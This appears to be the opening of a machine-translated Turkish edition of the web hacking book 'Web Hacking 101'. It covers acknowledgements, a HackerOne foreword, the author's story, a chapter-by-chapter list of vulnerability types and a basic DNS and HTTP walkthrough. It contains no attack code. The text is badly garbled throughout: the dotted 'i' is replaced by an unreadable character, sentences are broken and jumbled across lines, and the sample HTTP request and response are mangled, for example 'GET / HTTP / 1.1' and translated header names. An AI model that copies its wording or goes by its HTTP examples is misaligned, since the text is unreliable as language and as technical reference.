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Andrea ve Ell�e'ye, sürekl� b�r mot�vasyon roller coaster'ımı destekled�ğ�n �ç�n teşekkür eder�m.
ve güven. Bu k�tabı sens�z asla b�t�remezd�m, yolculuğum
hacklemek asla başlamaz b�le.

HackerOne ek�b�ne göre, bu k�tap s�z�n �ç�n olmasaydı ne olmazdı, teşekkür eder�m.
bu k�tabı daha yapmak �ç�n katkıda bulunduğunuz tüm destek, ger�b�ld�r�m ve çalışmalar �ç�n
30 açıklamanın sadece b�r anal�z�.

Son olarak, bu k�tap en az 9.99 $ karşılığında satış yaparken, öner�len veya üzer�nde satış
19.99 $ f�yatı m�n�mum f�yatı düşük tutmama yardımcı oluyor, bu yüzden bu k�tap er�ş�leb�l�r durumda
daha fazla parasını ödeyemeyen �nsanlara. Bu satışlar ayrıca zaman ayırmamı sağlıyor.
hack’ten sürekl� �çer�k eklemek ve k�tabı daha �y� hale get�rmek
b�rl�kte.

Keşke m�n�mumdan fazlasını ödeyen herkes� teşekkür edeb�lseyd�m
sen, l�ste çok uzun olurdu ve aslında alıcıların �let�ş�m b�lg�ler�n� b�lm�yorum
Bana ulaşmadıkları sürece. Ancak, daha fazla ödeme yapan küçük b�r grup var.
alımlarını yaparken öner�len f�yatı çok uzun b�r yol g�d�yor. �sterd�m
onları burada tanıyın. Onlar �çer�r:

1. @ Ebr�etas0
2. G�zeml� Alıcı
3. G�zeml� Alıcı
4. @nahamsec (Ben Sadegh�pour)
5. G�zeml� Alıcı
6. @ Spam404Onl�ne
7. @ Danyl0D (Danylo Matv�y�v)
8. G�zeml� Alıcı
9. @arnesw�nnen (Arne Sw�nnen)

Bu l�stede olmanız gerek�yorsa, lütfen ben� Tw�tter'da DM.

Bunun b�r kopyasını alan herkese teşekkür eder�m!
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1. Önsöz
Öğrenmen�n en �y� yolu bas�tçe yapmaktır. İşte b�z buyuz - M�ch�el Pr�ns ve Jobert Abma
- kesmey� öğrend�.

Gençt�k. Önümüzde gelen tüm hackerlar ve gelecek olanların heps� g�b�
sonra, kontrol ed�lemeyen, merak uyandıran şeyler� anladık.
çalıştı. Çoğunlukla b�lg�sayar oyunları oynuyorduk ve 12 yaşına kadar öğrenmeye karar verd�k.
kend� yazılımımızı nasıl oluşturacağımızı. V�sual Bas�c ve PHP'de nasıl programlanab�leceğ�n� öğrend�k
Kütüphane k�taplarından ve uygulamalarından.

Yazılım gel�şt�rme anlayışımızdan, bu becer�ler�n hızla ortaya çıktığını keşfett�k.
d�ğer gel�şt�r�c�ler�n hatalarını bulmamıza �z�n verd�. B�nadan ayrılmaya başladık ve
hack o zamandan ber� b�z�m tutkumuz oldu. L�se mezun�yet�m�z� kutlamak �ç�n
mezun�yet�m�z� kutlayan b�r reklamı yayınlamak �ç�n b�r telev�zyon kanalının yayın kanalını devraldı
sınıf. O sırada eğlen�rken, hızlıca sonuçlandığını ve bunun sonuçlarını öğrend�k.
dünyanın �ht�yaç duyduğu b�lg�sayar korsanları değ�l. TV �stasyonu ve okul h�ç eğlenmed�
ve yaz aylarını pencereler�m�z� ceza olarak harcadık. Ün�vers�tede döndük
En üst düzeyde, kamuoyunda müşter�ler� olan uygulanab�l�r b�r danışmanlık �ş� konusundak� becer�ler�m�z
tüm dünyada özel sektör. Hack�ng deney�m�m�z b�z� HackerOne'a götürdü.
2012 yılında ortak kurduk. Evrendek� her f�rmaya �z�n vermek �sted�k.
b�lg�sayar korsanlarıyla başarılı b�r şek�lde çalışın ve bugün HackerOne’un görev� olmaya devam ed�yor.

Bunu okuyorsanız, b�lg�sayar korsanı ve böcek avcısı olmak �ç�n gereken merak da vardır.
Bu k�tabın yolculuğunuz boyunca muazzam b�r rehber olacağına �nanıyoruz. Zeng�nlerle dolu,
gerçek hata ödemeler�yle sonuçlanan gerçek dünya güvenl�k açığı raporları örnekler�,
yazar ve d�ğer b�r b�lg�sayar korsanı, Pete Yaworsk� tarafından faydalı anal�zler ve �ncelemeler.
O sen�n öğrend�ğ�n g�b� sen�n arkadaşın ve bu çok değerl�.

Bu k�tabın bu kadar öneml� olmasının b�r başka neden� de nasıl et�k olacağına odaklanması.
Hacker. Hack�ng sanatında ustalaşmak, umduğumuz son derece güçlü b�r becer� olab�l�r.
�y� �ç�n kullanılacaktır. En başarılı b�lg�sayar korsanları, �nce ç�zg�de nasıl gez�n�leceğ�n� b�l�yor
hack yaparken doğru �le yanlış arasında. B�rçok �nsan b�r şeyler� kırab�l�r ve hatta deneyeb�l�r
hızlı para kazanın. Ancak İnternet’� daha güvenl� hale get�reb�leceğ�n�z� düşünün
Dünyadak� şaşırtıcı ş�rketler, hatta yol boyunca b�le para kazanıyorlar. Yeteneğ�n�z var
m�lyarlarca �nsanı ve ver�ler�n� güvende tutma potans�yel�. Umarım budur
arzuluyorsun.

Tüm bunları çok �y� belgelemek �ç�n zaman harcadığı �ç�n Pete'e sonu gelmed�ğ� �ç�n m�nnettarız.
Başlarken bu kaynağa sah�p olmayı d�l�yoruz. Pete'�n k�tabı okumak b�r zevkt�r
b�lg�sayar korsanlığı yolculuğunuzu başlatmak �ç�n gereken b�lg�ler.

Mutlu okumalar ve mutlu hack!
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Sorumlu b�r şek�lde hacklemey� unutma.

M�ch�el Pr�ns ve Jobert Abma Kurucu Ortakları, HackerOne
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2. G�r�ş

Bu k�tabı satın aldığınız �ç�n teşekkür eder�z, umarım s�z de ben�m kadar okurken çok eğlen�rs�n�z.
araştırmak ve yazmak.

Web Hack�ng 101 ben�m �lk k�tabımdır, hacklenmen�ze başlamanıza yardımcı olmak �ç�nd�r. Başladım
Bunu, kend�me a�t b�r yan ürün olan 30 kırılganlığın kend�s�n�n yayınlanmış b�r açıklaması olarak yazdım.
öğrenme. Çabucak çok daha fazlasına dönüştü.

K�tap �ç�n umudum, en azından, gözler�n� hacklemen�n eng�n dünyasına açmak.
En �y�s�, umarım bu web’� daha güvenl� b�r yer hal�ne get�rme yolunda �lk adımınız olacaktır.



bunu yaparken b�raz para kazanmak.

Her şey nasıl başladı

2015 yılının sonlarında, k�tapta rastladım, B�z Anon�m�z: Hacker Dünyasının İç�nde
LulzSec, Anon�m ve Küresel S�ber İsyan'ın Parmy Olson tarafından başlatılmasıyla sona erd�
b�r haftada okuyor. Y�ne de b�t�rd�kten sonra, bu b�lg�sayar korsanlarının nasıl olduğunu merak ett�m
Başladı

Daha çok susadım ama sadece b�lg�sayar korsanlarının NE yaptığını b�lmek �stemed�m.
NASIL b�lg�sayar korsanları yaptı. Bu yüzden okumaya devam ett�m. Ama ne zaman yen� b�r k�tap kazırsam, hala ayrıldım
aynı sorularla:

• D�ğer Hacker'lar buldukları güvenl�k açıklarını nasıl öğren�r?
• İnsanlar nerede güvenl�k açıkları buluyor?
• Hacker'lar hedef s�tey� hackleme �şlem�ne nasıl başlar?
• Sadece otomat�k araçları kullanmakla mı uğraşıyorsunuz?
• Güvenl�k açıklarını nasıl bulab�l�r�m?

Ancak daha fazla cevap aramaya, daha fazla kapı açmaya devam ett�.

Aynı saatlerde, Coursera Andro�d gel�şt�rme kurslarına katılıyordum
D�ğer �lg�nç kurslar �ç�n b�r göz atın. Coursera Cybersecur�ty uzmanlığı
d�kkat�m� çekt�, özell�kle Ders 2, Yazılım Güvenl�ğ�. Neyse k� ben�m �ç�n, daha yen� başlıyordu
(Şubat 2016 �t�bar�yle, Yakında l�stelen�yor) ve kayıt oldum.

B�rkaç ders verd�m, sonunda arabellek taşmasının ne olduğunu ve nasıl olduğunu anladım.
sömürülen. SQL enjeks�yonlarının nasıl yapıldığını tamamen kavradım, oysa k� daha önce de b�l�yordum.
tehl�ke. Kısacası bağladım. Bu noktaya kadar, her zaman web güvenl�ğ�ne yaklaştım.
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gel�şt�r�c�n�n bakış açısına göre, değerler� ster�l�ze etme ve bunlardan kaçınma �ht�yacını takd�r etme
doğrudan kullanıcı g�r�ş� kullanarak. Ş�md� her şey�n neye benzed�ğ�n� anlamaya başlamıştım.
B�r hacker'ın bakış açısı.

Hackcrowd'un forumlarına nasıl g�r�leceğ� ve rastlanacağı hakkında daha fazla b�lg� aramaya devam ett�m.
Maalesef, o sırada aşırı akt�f değ�llerd�, ancak orada bel�rt�len b�r� var.
HackerOne hackt�v�ty ve b�r rapora bağlandı. Bağlantıdan sonra şaşırdım. ben ... �d�m
b�r ş�rkete yazılmış b�r güvenl�k açığının açıklamasını okumak;
Dünya. Belk� daha da öneml�s�, ş�rket gerçekten bulmak �ç�n hacker öded� ve
Bunu ş�kayet et!

Bu b�r dönüm noktasıydı, takıntılı oldum. Özell�kle ev sah�b� b�r Kanadalı
ş�rket, Shop�fy, açıklamalarda paket�n l�derl�ğ�n� yapıyordu. Kontrol etme
Shop�fy'ın prof�l� dışında, açıklama l�steler� açık raporlarla doluydu. Okuyamadım
yeter�nce. Güvenl�k açıkları, S�teler Arası Kod Yazma, K�ml�k Doğrulama ve
S�teler Arası İstek Sahtec�l�ğ�, sadece b�rkaç �s�m.

Kuşkusuz, bu aşamada, raporların ayrıntılarını anlamakta zorlandım.
Güvenl�k açıklarından ve sömürü yöntemler�nden bazılarının anlaşılması zordu.

Bel�rl� b�r raporu denemek ve anlamak �ç�n Google’da arama yapıyorum, G�tHub sorunuyla sona erd�
esk� b�r Ruby on Ra�ls �ç�n konuya başlamadan önce zayıf parametre açığı (bu ayrıntılı
Uygulama Mantığı bölümü) Egor Homakov tarafından b�ld�r�lm�şt�r. Egor'u tak�p etmek ben� yönlend�rd�



Bazı c�dd� karmaşık güvenl�k açıkları �ç�n açıklamalar �çeren bloguna.

Deney�mler�n� okuduğumda, hack dünyasının ovadan fayda sağlayab�leceğ�n� anladım.
Gerçek dünyadak� güvenl�k açıklarının d�l açıklamaları. Ve sadece öyle oldu, öğrend�m
başkalarına öğret�rken daha �y�.

Ve böylece, Web Hack�ng 101 doğdu.

Sadece 30 Örnek ve İlk Satışım

Bas�t b�r hedefle başlamaya, 30 web güvenl�k açığını bulup açıklamaya karar verd�m
Anlamak, sade b�r d�l.

En kötüsü, zayıf yönler� araştırıp yazmanın öğrenmeme yardımcı olacağını düşündüm.
hackleme hakkında. En �y� �ht�malle, b�r m�lyon kopya satar, kend�n� yayınlayan b�r guru olur ve emekl� olurdum.
erken. İk�nc�s� henüz gerçekleşmed� ve zaman zaman, esk� sonsuz görünüyor.

Açıklanan 15 güvenl�k açığının etrafında, taslağımı yayınlamaya karar verd�m
satın alın - seçt�ğ�m platform, LeanPub (hang�s� muhtemelen satın almışsa)
aracılığıyla), müşter�lere herkese er�ş�m sağlayarak, y�nelemel� olarak yayınlamanıza olanak tanır
güncellemeler. HackerOne ve Shop�fy'a açıklamaları �ç�n teşekkür eden b�r tweet gönderd�m ve
dünyaya k�tabımdan bahsetmek. Çok fazla beklem�yordum.

Fakat saatler �ç�nde �lk satışımı yaptım.
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Aslında k�tabımı ödeyen b�r�n�n f�kr�yle mutlu oldum (yarattığım ve
�ç�ne b�r ton çaba harcıyorum!), LeanPub’a ne bulab�leceğ�m� görmek �ç�n g�r�ş yaptım
g�zeml� alıcı. H�çb�r şey ortaya çıkarmaz. Ama telefonum t�treşt�, tweet aldım.
M�ch�el Pr�ns'tan k�tabı sevd�ğ�n� ve döngüde kalmasını �sted�ğ�n� söyled�.

M�ch�el Pr�ns da k�m? Tw�tter prof�l�n� kontrol ett�m ve çıkıyor, o b�r
HackerOne Kurucu Ortakları. Bok. B�r parçam HackerOne olmayacağını sanıyordu
İçer�k �ç�n kend� s�teler�ne güvenmemden etk�lend�m. Olumlu kalmaya çalıştım M�ch�el
destekley�c� görünüyordu ve döngüde tutulmasını �sted�, bu yüzden muhtemelen zararsızdı.

İlk satışımdan kısa b�r süre sonra, �k�nc� b�r satış aldım ve b�r şeyler yaptığımı düşündüm.
Tesadüfen, aynı zamanda, Quora'dan b�r soru hakkında b�r b�ld�r�m aldım.
Muhtemelen �lg�m� çeker, Nasıl başarılı b�r böcek ödül avcısı olurum?

Başlarken ed�nd�ğ�m tecrübeye göre, aynı ayakkabıda olmanın nasıl b�r şey olduğunu b�lmek
K�tabımı tanıtmak �stemen�n benc�l hedef� �le b�r cevap yazacağımı düşündüm.
Yarı yolda, bana sadece d�ğer cevabın yazdığı yazdı.
Jobert Abma, HackerOne'un d�ğer Kurucu Ortaklarından b�r�. Oldukça yetk�l� b�r ses
hacklemede. Bok.

Cevabımı terk etmey� düşündüm ama daha sonra onun g�rd�s�ne dayanarak yen�den yazmayı seçt�m.
çünkü onun tavs�yes�yle rekabet edemed�m. Gönder düğmes�ne basıp h�çb�r şey düşünmed�m. Ama sonra
İlg�nç b�r e-posta aldım:

Merhaba Peter, Quora'nın cevabını gördüm ve sonra sen�n b�r k�tap yazdığını gördüm.
Beyaz Şapka hakkında hack. Daha fazlasını b�lmek �sterd�m.

Saygılarımla,

Marten CEO'su, HackerOne



Üçlü Bok. Bu noktada aklımdan b�r sürü şey geçt�, h�çb�r� poz�t�f değ�ld�
ve hemen hemen heps� mantıksızdı. Kısacası, Marten'�n yapmasının tek sebeb�n� düşündüm.
e-posta bana çek�ç k�tabımı düşürmekt�. Neyse k�, bu olamazdı
gerçeklerden daha uzak.

K�m olduğumu ve ne yaptığımı açıklamaya, ona öğrenmeye çalıştığımı açıkladım.
kesmek ve başkalarının ben�mle b�rl�kte öğrenmeler�ne yardımcı olmak. Anlaşılan o, f�kr�n büyük b�r hayranıydı.
HackerOne'un toplumu büyütmek ve destek olmakla �lg�lend�ğ�n� açıkladı
Korsanların, öğrend�kler� g�b�, katılan herkes �ç�n karşılıklı yarar sağladığı g�b�. Kısacası, tekl�f ett�
yardım etmek. Ve adam, h�ç oldu mu? Bu k�tap muhtemelen bugün olduğu yerde veya dah�l olmadığında
�çer�ğ�n�n yarısı ve HackerOne’�n sürekl� desteğ� ve mot�vasyonu olmadan.

Bu �lk e-postadan ber� yazmaya devam ett�m ve Marten kontrol etmeye devam ett�. M�ch�el ve Jobert
taslakları �nceled�, öner�lerde bulundu ve hatta bazı bölümlere katkıda bulundu. Sansar b�le
profesyonelce tasarlanmış b�r kapağın mal�yet�n� karşılamak �ç�n yukarıda ve öteye g�tt� (elveda)
beyaz b�r cadı şapkası �le düz sarı kapak, heps� tarafından tasarlanmış g�b� görünüyordu
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dört yaşında). Mayıs 2016'da, Adam Bacchus HackerOne'a katıldı ve 5. gününde çalışıyor
orada, k�tabı okudu, düzenlemeler� sağladı ve k�tapta olmanın nasıl olduğunu açıkladı.
güvenl�k açığı sonu raporlarının alınması - ş�md� rapor yazmaya dah�l ett�ğ�m b�r şey
bölüm.

Bunlardan bahsed�yorum çünkü bu yolculuk boyunca, HackerOne h�ç sormadı
karşılığında b�r şey. Onlar sadece toplumu desteklemek �stem�şt� ve bu k�tabı gördü.
Bunu yapmanın �y� b�r yoluydu. Hacker toplulukta yen� b�r� olarak, bu rezonansa g�rd�
ben�mle ve umarım sen�nle de olur. Şahsen destekley�c� b�r parçası olmayı terc�h eder�m
ve kapsayıcı topluluk.

Öyleyse, o zamandan ber�, bu k�tap başlangıçta ben�m düşündüğümün ötes�nde, çarpıcı b�ç�mde gen�şled�.
S�oned. Ve bununla, hedef k�tle de değ�şt�.

Bu k�tap k�m �ç�n yazılmıştır

Bu k�tap akılda yen� b�lg�sayar korsanları �le yazılmıştır. B�r web gel�şt�r�c�s� olup olmanız öneml� değ�l,
web tasarımcısı, evde kalmak, 10 yaşında veya 75 yaşında b�r anne. Bu k�tabın b�r olmasını �st�yorum.
Farklı güvenl�k açıklarını anlamak �ç�n yetk�l� referans, nasıl yapılır
Onları nasıl bulacağınızı, nasıl rapor alacağınızı, hatta nasıl para alacağınızı, savunma kodunu nasıl yazacağınızı bulun.

Bununla b�rl�kte, bu k�tabı k�tlelere vaaz etmek �ç�n yazmadım. Bu gerçekten b�r k�tap
b�rl�kte öğrenme hakkında. Bu nedenle, başarıları ve bazı öneml� düşünceler�m� paylaşıyorum (ve
utanç ver�c�) başarısızlıklar.

K�tap ayrıca, bel�rl� b�r bölüm varsa
�lg�len�yorum, �lk önce onu oku. Bazı durumlarda, daha önce tartışılan referans bölümler�n� yapıyorum.
ancak bunu yaparken, bölümler� b�rb�r�ne bağlamaya çalışıyorum, böylece �ler� ger� döneb�l�rs�n�z. Bu k�tabı �st�yorum
keserken açık tuttuğun b�r şey olmak �ç�n.

Bu notta, her b�r güvenl�k açığı türü bölümü aynı şek�lde yapılandırılmıştır:

• Güvenl�k açığı türünün b�r açıklamasıyla başlayın;
• Güvenl�k açığı örnekler�n� �nceley�n; ve,
• B�r özet �le sonuçlandırın.



Benzer şek�lde, bu bölümlerdek� her örnek aynı şek�lde yapılandırılmıştır ve şunları �çer�r:

• Güvenl�k açığı bulma konusundak� zorluğum hakkındak� tahm�n�m
• Güvenl�k açığının bulunduğu yer �le �l�şk�l� url
• Rapor veya yazının bağlantısı
• Güvenl�k açığının b�ld�r�ld�ğ� tar�h
• Rapor �ç�n ödenen tutar
• Güvenl�k açığının anlaşılması kolay
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• Kend� çabalarınıza uygulayab�leceğ�n�z önlemler� alın

Son olarak, hacklemen�n b�r önkoşulu olmasa da, bazılarına sah�p olmak �y� b�r f�k�r olab�l�r.
HTML, CSS, Javascr�pt ve belk� de bazı programlama konularına aş�nalık. Bu demek değ�l
web sayfalarını en baştan baştan başlayarak toplayab�lmen�z gerek�r
ancak b�r web sayfasının temel yapısını anlamak, CSS'n�n nasıl b�r görünüm ve h�s tanımladığı
Javascr�pt �le yapılab�lecekler, güvenl�k açıklarını çözmen�ze yardımcı olacak ve
Bunu yapmanın c�dd�yet�n� anlayın. Programlama b�lg�s� s�z olduğunuzda yardımcı olur.
uygulama mantığı açıklarını aramak. Kend�n� programcının �ç�ne koyab�l�rsen
B�r şey� nasıl uyguladıklarını veya kodlarını nasıl okuduklarını tahm�n etmek �ç�n
kullanılab�l�r, oyunda önde olacaksın.

Bunu yapmak �ç�n Udac�ty’n�n HTML’ye G�r�ş ve
CSS ve Javacr�pt Temeller� , Kaynaklar bölümüne dah�l ett�ğ�m bağlantılar. Eğer öyleysen
Udac�ty'ye aş�na olmayan, görev� er�ş�leb�l�r, uygun f�yatlı, �lg� çek�c� ve
dünyaya son derece etk�l� yüksek öğret�m. G�b� ş�rketler� �le ortak olduk
Program oluşturmak ve çevr�m�ç� kurslar sunmak �ç�n Google, AT&T, Facebook, Salesforce vb.

Bölüme genel bakış

2. Bölüm , HTTP de dah�l olmak üzere �nternet�n nasıl çalıştığını gösteren g�r�ş n�tel�ğ�nded�r.
�stekler� ve cevapları ve HTTP yöntemler�.

Bölüm 3 , sömürmey� �çeren �lg�nç b�r güvenl�k açığı olan Açık Yönlend�rmeler� kapsar
kullanıcıları, b�r saldırganın kullanıcının güven�n� kullanmalarını sağlayan başka b�r s�tey� z�yaret etmeye yönlend�ren b�r s�te
savunmasız s�tede.

Bölüm 4 , HTTP Parametre K�rl�l�ğ�n� kapsamaktadır ve �ç�nde s�stemler�n nasıl bulunacağını öğreneceks�n�z.
bu, güvenl� olmayan g�rd�ler boyunca üçüncü taraf s�teler�ne geç�lmeye açık olab�l�r.

Bölüm 5 , örnekler arasında yapılan S�teler Arası İstek Sahtec�l�ğ� güvenl�k açıklarını kapsar
Bu, kullanıcıların b�r web s�tes�ne b�lg� gönderme konusunda nasıl kandırılab�leceğ�n� göster�r.
b�lmeden g�r�ş yaptı.

Bölüm 6 , HTML Enjeks�yonlarını kapsar ve �ç�ndek� HTML'y� nasıl enjekte edeb�leceğ�n�z� öğreneceks�n�z.
B�r web sayfasına kötü n�yetl� olarak kullanılab�l�r. En �lg�nç paket serv�slerden b�r� nasıl
S�teler� s�z� HTML’y� kabul etme ve �şleme koyma konusunda kandırmak �ç�n kodlanmış değerler� kullanab�l�rs�n�z
f�ltreler� atlayarak gönder�n.

Bölüm 7 , Taşıyıcı Ger� Dönüş Hattı Besleme Enjeks�yonlarını ve �ç�ndek� örnekler� kapsar.
satır başı gönderme, satır sonları ve bunların oluşturulmuş �çer�k üzer�ndek� etk�s�.

Bölüm 8 , S�teler Arası Scr�pt Yazmayı, çok çeş�tl� yollarla büyük b�r konuyu kapsamaktadır.
�st�smara ulaşmak. S�teler Arası Komut Dosyası oluşturma, büyük fırsatları ve bütün b�r k�tabı tems�l eder
Muhtemelen üzer�ne yazılab�l�r ve yazılmalıdır. Yapab�leceğ�m b�r ton örnek var.



buraya ekled�m, bu yüzden öğrenme �ç�n en �lg�nç ve yararlı olanı üzer�ne odaklanmaya çalışıyorum.

Sayfa 20

G�r�ş 8

Bölüm 9 , Sunucu Tarafı Şablonu Enjeks�yonunu ve ayrıca �stemc� tarafı enjeks�yonlarını kapsar. Bunlar
güvenl�k açıkları, doğrudan kullanıcılara g�rd� g�r�ş� yapan gel�şt�r�c�ler�n avantajlarından yararlanır
şablon sözd�z�m� kullanılarak gönder�ld�ğ�nde şablonlar. Bu güvenl�k açıklarının etk�s�
nerede gerçekleşt�ğ�ne bağlı olarak değ�ş�r, ancak genell�kle uzaktan kod yürütülmes�ne neden olab�l�r.

Bölüm 10 man�püle �çeren yapısal sorgu d�l� (SQL) enjeks�yonlarını kapsar.
b�r s�teden b�lg� çıkarmak, güncellemek veya s�lmek �ç�n ver�tabanı sorguları yapmak.

Bölüm 11 , b�r saldırganın kullanıcıya uzaktan kumanda göndermes�ne �z�n veren Sunucu Tarafı İsteğ� Sahtec�l�ğ�n� kapsar
Saldırgan adına müteak�p HTTP �stekler� yapmak �ç�n sunucuya

Bölüm 12 , b�r s�ten�n ayrıştırılmasından kaynaklanan XML Dış Varlık güvenl�k açıklarını kapsar
gen�şlet�leb�l�r b�ç�mlend�rme d�l� (XML). Bu tür güvenl�k açıkları g�b� şeyler� �çereb�l�r
özel dosyaları okumak, uzaktan kod çalıştırmak, vb.

Bölüm 13 Uzaktan Kod Yürütmey� veya b�r saldırganın yürütme özell�ğ�n� kapsar
kurban sunucusunda rastgele kod. Bu tür güvenl�k açığı en tehl�kel� olanlar arasında
B�r saldırgan hang� kodun yürütüleceğ�n� kontrol edeb�l�r ve genell�kle bu şek�lde ödüllend�r�l�r.

Bölüm 14 , bellekle �lg�l� güvenl�k açıklarını, olab�lecek b�r güvenl�k açığı türünü kapsamaktadır.
bulmak zor ve t�p�k olarak düşük sev�yel� programlama d�ller� �le �lg�l�d�r. Ancak,
Bu tür böcekler� keşfetmek, bazı c�dd� güvenl�k açıklarına neden olab�l�r.

Bölüm 15 , araştırma hakkında çok şey öğrend�m Sub Doma�n Dev�rler�n� kapsamaktadır.
Bu k�tap ve büyük ölçüde Math�as, Frans ve Dectect�fy ek�b�ne aktarılmalıdır.
Esasen burada, b�r s�te b�r üçüncü taraf h�zmet�yle barındıran, ancak h�çb�r zaman barındırmayan b�r alt etk� alanı anlamına gel�r
aslında bu h�zmetten uygun adres� talep ed�yor. Bu b�r saldırgana �z�n ver�r
adres� üçüncü şahıstan tesc�l ett�rmek, böylece tüm traf�ğ�n
kurbanın etk� alanı aslında b�r saldırganın üzer�nde.

Bölüm 16 , �k� veya daha fazla �şlem �çeren b�r güvenl�k açığı olan Yarış Koşullarını kapsar.
yalnızca b�r eylem�n gerçekleşmes�ne �z�n vermes� gereken koşullara dayalı eylem yapmak. İç�n
Örneğ�n, banka havaleler�n� düşünün, 500 ABD Doları tutarındak� �k� havaley� gerçekleşt�rememen�z gerek�r
bak�yen�z sadece 500 dolar olduğunda. Ancak, b�r yarış durumu güvenl�k açığı buna �z�n vereb�l�r.

Bölüm 17 , b�r saldırganın güvenl� olmayan D�rect Object Reference güvenl�k açıklarını kapsar
Olmaması gereken �t�razları (ver�tabanı kayıtları, dosyalar vb.) okuyab�l�r veya güncelleyeb�l�r
�zn�.

Bölüm 18 , uygulama mantığı tabanlı güvenl�k açıklarını kapsar. Bu bölüm b�r büyüdü
Programlama mantığı kusurlarına bağlı olduğunu düşündüğüm tüm açıkları yakala. Bunları buldum
Yen� başlayanlar �ç�n gar�p şeyler aramak yer�ne güvenl�k açıklarını bulmak daha kolay olab�l�r.
ve b�r s�teye zararlı g�rd�ler göndermen�n yaratıcı yolları.

Bölüm 19 , nasıl başlayacağınız konusunu ele almaktadır. Bu bölüm s�ze yardımcı olmak �ç�nd�r
Adım adım rehbere atladığınız adımların aks�ne, açıkları nerede ve nasıl arayacağınızı düşünün.
b�r s�tey� hacklemek. Tecrübeler�me ve s�telere nasıl yaklaştığım üzer�ne kuruludur.

Bölüm 20 , tartışmasız, tavs�ye ett�ğ� en öneml� k�tap bölümler�nden b�r�d�r.
etk�l� b�r raporun nasıl yazılacağı konusunda. Dünyadak� bütün hack sen
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konuyu gerekl� ş�rkete düzgün şek�lde rapor edemez. G�b�, b�raz büyük ovaladı
Ödemey� yapan ş�rketlere, en �y� nasıl rapor vereb�lecekler� ve tavs�ye alab�lecekler� konusundak� tavs�yeler� �ç�n adlandırma
HackerOne'dan. Buraya çok d�kkat ett�ğ�n�zden em�n olun .

Bölüm 21 v�tes değ�şt�r�r. Burada öner�len b�lg�sayar korsanlığı araçlarına dalıyoruz. İlk
Bu bölümün taslağı HackerOne'dan M�ch�el Pr�ns tarafından bağışlanmıştır. O zamandan ber� büyüdü
bulduğum ve kullandığım faydalı araçların yaşam l�stes�ne.

Bölüm 22 , b�lg�sayar korsanlığınızı b�r üst sev�yeye çıkarmanıza yardımcı olmaya adamıştır. İşte yürüyorum
Öğrenmeye devam etmek �ç�n har�ka kaynakların var. Y�ne, r�sk altında
Kırık b�r rekor g�b� gel�yor, or�j�nal�ne katkıda bulunan M�ch�el Pr�ns sayes�nde büyük
Bu bölümü başlatan l�ste.

23. Bölüm k�tabı tamamlar ve b�lmen�z gereken bazı temel ter�mler� kapsar.
hacklemek. Çoğu d�ğer bölümlerde tartışılırken, bazıları tavs�ye etm�yorum
burada b�r okuma alarak.

Uyarı Sözü ve İy�l�k

B�lg�sayar korsanlığı dünyasına g�rmeden önce, b�r şey� açıklığa kavuşturmak �st�yorum. Olduğum g�b�
öğrenme, kamuya açıklamaları okuma, �nsanların tüm paralarını görme (ve hala
yapmak, sürec� caz�p hale get�rmek ve bunu kolay b�r yol olarak düşünmek kolaylaştı
çabuk zeng�n ol. Değ�l. Hack yapmak son derece faydalı olab�l�r ama bulmak ve okumak zor
yol boyunca yaşanan başarısızlıklar hakkında (b�raz utanç ver�c� bazılarını paylaştığım yer har�ç)
h�kayeler�). Sonuç olarak, çoğu zaman �nsanların başarılarını duyacağınız �ç�n gel�şeb�l�r
başarının gerçekç� olmayan beklent�ler�. Ve belk� hızlı b�r şek�lde başarılı olacaksın. Ama eğer sen
değ�l, çalışmaya devam et! Kolaylaşacak ve b�r raporun çözülmes� har�ka b�r duygu.

Bununla, sormam gereken b�r �y�l�k var. Okuduğunuz g�b�, lütfen bana Tw�tter'dan mesaj gönder�n @yaworsk
ve bana nasıl g�tt�ğ�n� b�ld�r�n. Başarılı veya başarısız olsun, duymak �ster�m
senden. Böcek avı, mücadele ed�yorsan yalnız �şe yarayab�l�r ama aynı zamanda
b�rb�rler�yle kutlayın. Ve belk� de s�z�n bulmanız ...
sonrak� baskı.

İy� şanslar!!

Sayfa 22



3. Arkaplan
Ben�m g�b� yen� başlıyorsan ve bu k�tap dünyaya �lk adımların arasında.
hack, �nternet�n nasıl çalıştığını anlamanız s�z�n �ç�n öneml� olacak.
Sayfayı çev�rmeden önce, ne demek �sted�ğ�m� adres çubuğuna yazdığınız URL’n�n
IP adresler�ne vb. göre çözümlenm�ş b�r alanla eşleşt�r�l�r.

B�r cümleyle çerçevelemek �ç�n: İnternet, bağlı ve
b�rb�rler�ne mesaj gönderme. Bazıları yalnızca bel�rl� mesaj türler�n� kabul eder, bazıları yalnızca
sınırlı sayıda başka s�stemlerden, ancak �nternettek� her s�stemden mesajlara �z�n ver
k�ş�ler�n b�r mesaj göndereb�lmes� �ç�n b�r adres alır. Daha sonra her b�r s�steme kalmış
mesajla ne yapılacağını ve nasıl cevap vermek �sted�ğ�n� bel�rlemek �ç�n.

Bu mesajların yapısını tanımlamak �ç�n, �nsanlar bunlardan bazılarının
s�stemler Yorumlar İstekler�'nde (RFC) �let�ş�m kurmalıdır. Örnek olarak, b�r
HTTP’ye bakın. HTTP, �nternet tarayıcınızın �let�ş�m kurma şekl�n�n protokolünü tanımlar.
b�r web sunucusu �le. Çünkü �nternet tarayıcınız ve web sunucunuz uygulamayı kabul ett�
Aynı protokol, �let�ş�m kurab�l�yorlar.

Tarayıcınızın adres çubuğuna http://www.google.com adres�n� g�rd�ğ�n�zde ve return tuşuna basın.
Aşağıdak� adımlar, yüksek düzeyde neler olduğunu açıklar:

• Tarayıcınız etk� alanı adını URL’den (www.google.com) çıkarır.
• B�lg�sayarınız, yapılandırılmış DNS sunucularına b�r DNS �steğ� gönder�r.

DNS, b�r alan adının b�r IP adres�ne çözülmes�ne yardımcı olab�l�r, bu durumda
216.58.201.228. İpucu: bakmak �ç�n term�nal�n�zden d�g A www.google.com adres�n� kullanab�l�rs�n�z.
etk� alanı �ç�n IP adresler�n� ayarlama.

• B�lg�sayarınız, 80 numaralı bağlantı noktasındak� IP adres�yle b�r TCP bağlantısı kurmaya çalışıyorsa,
HTTP traf�ğ� �ç�n kullanılır. İpucu: nc çalıştırarak TCP bağlantısı kurab�l�rs�n�z.
216.58.201.228 80 s�z�n term�nal�n�zden.

• Başarılı olursa, tarayıcınız aşağıdak� g�b� b�r HTTP �steğ� gönder�r:

GET / HTTP / 1.1

Ev sah�b� : www.google.com
Bağlantı : canlı tutmak

Kabul et : appl�cat�on / html, * / *

• Ş�md� sunucudan b�r cevap bekleyecek ve şöyle b�r şeye benzeyecekt�r:
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HTTP / 1.1 200 Tamam
İçer�k Türü: met�n / html

<Html>
<Head>

<t�tle> Google.com </t�tle>

